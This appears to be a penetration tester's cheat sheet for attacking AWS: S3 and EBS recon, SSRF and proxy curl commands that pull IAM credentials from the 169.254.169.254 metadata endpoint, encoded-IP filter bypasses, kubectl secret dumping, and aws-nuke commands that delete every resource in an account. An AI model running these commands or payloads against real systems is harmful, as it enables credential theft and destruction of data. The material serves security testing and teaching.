AWS
AWS basic info
Auth methods:
• Programmatic access - Access + Secret Key
◇ Secret Access Key and Access Key ID for authenticating via scripts and CLI
• Management Console Access
◇ Web Portal Access to AWS
Recon:
• AWS Usage
◇ Some web applications may pull content directly from S3 buckets
◇ Look to see where web resources are being loaded from to determine if S3 buckets are being utilized
◇ Burp Suite
◇ Navigate application like you normally would and then check for any requests to:
▪ https://[bucketname].s3.amazonaws.com
▪ https://s3-[region].amazonaws.com/[OrgName]
S3:
• Amazon Simple Storage Service (S3)
◇ Storage service that is “secure by default”
◇ Configuration issues tend to unsecure buckets by making them publicly accessible
◇ Nslookup can help reveal region
◇ S3 URL Format:
▪ https://[bucketname].s3.amazonaws.com
▪ https://s3-[region].amazonaws.com/[Org Name]
# aws s3 ls s3://bucket-name-here --region
# aws s3api get-bucket-acl --bucket bucket-name-here
# aws s3 cp readme.txt s3://bucket-name-here --profile newuserprofile
EBS Volumes:
• Elastic Block Store (EBS)
• AWS virtual hard disks
• Can have similar issues to S3 being publicly available
• Difficult to target specific org but can find widespread leaks
EC2:
• Like virtual machines
• SSH keys created when started, RDP for Windows.
• Security groups to handle open ports and allowed IPs.
AWS Instance Metadata URL
• Cloud servers hosted on services like EC2 needed a way to orient themselves because of how dynamic they are
• A “Metadata” endpoint was created and hosted on a non-routable IP address at 169.254.169.254
• Can contain access/secret keys to AWS and IAM credentials
• This should only be reachable from the localhost
• Server compromise or SSRF vulnerabilities might allow remote attackers to reach it
• IAM credentials can be stored here:
◇ http://169.254.169.254/latest/meta-data/iam/security-credentials/
• Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS.
◇ curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo
• CapitalOne Hack
◇ Attacker exploited SSRF on EC2 server and accessed metadata URL to get IAM access keys. Then, used keys to dump S3 bucket containing 100 million individual’s data.
• AWS EC2 Instance Metadata service Version 2 (IMDSv2)
• Updated in November 2019 – Both v1 and v2 are available
• Supposed to defend the metadata service against SSRF and reverse proxy vulns
• Added session auth to requests
• First, a “PUT” request is sent and then responded to with a token
• Then, that token can be used to query data
--
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
curl http://example.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
--
Post-compromise
• What do our access keys give us access to?
• Check AIO tools to do some recon (WeirdAAL- recon_module, PACU privesc,...)
http://169.254.169.254/latest/meta-data
http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
# AWS nuke - remove all AWS services of our account
# https://github.com/rebuy-de/aws-nuke
- Fill nuke-config.yml with the output of aws sts get-caller-identity
./aws-nuke -c nuke-config.yml # Checks what will be removed
- If fails because there is no alias created
aws iam create-account-alias --account-alias unique-name
./aws-nuke -c nuke-config.yml --no-dry-run # Will perform delete operation
# Cloud Nuke
# https://github.com/gruntwork-io/cloud-nuke
cloud-nuke aws
# Other bypasses
1.
aws eks list-clusters | jq -rc '.clusters'
["example"]
aws eks update-kubeconfig --name example
kubectl get secrets
2. SSRF AWS Bypasses to access metadata endpoint.
Converted Decimal IP: http://2852039166/latest/meta-data/
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
# Interesting metadata instance urls:
http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/documentFind AWS in domain/company
AIO AWS tools
S3
Basic Commands
Find S3 buckets
Check S3 buckets perms and files
S3 examples attacks
Enumerate read access buckets script
IAM
Basic commands
Tools
AWS IAM Cli Enumeration
EBS
Find secrets in public EBS
EBS attack example
EC2
EC2 basic commands
EC2 example attacks
Tools
Cloudfront
Info
Tools
AWS Lambda
Info
Tools
AWS Inspector
AWS RDS
Basic
Attacks
ECR
Info
Tools
ECS
Info
AWS Cognito API


AWS Systems Manager

AWS Services Summary
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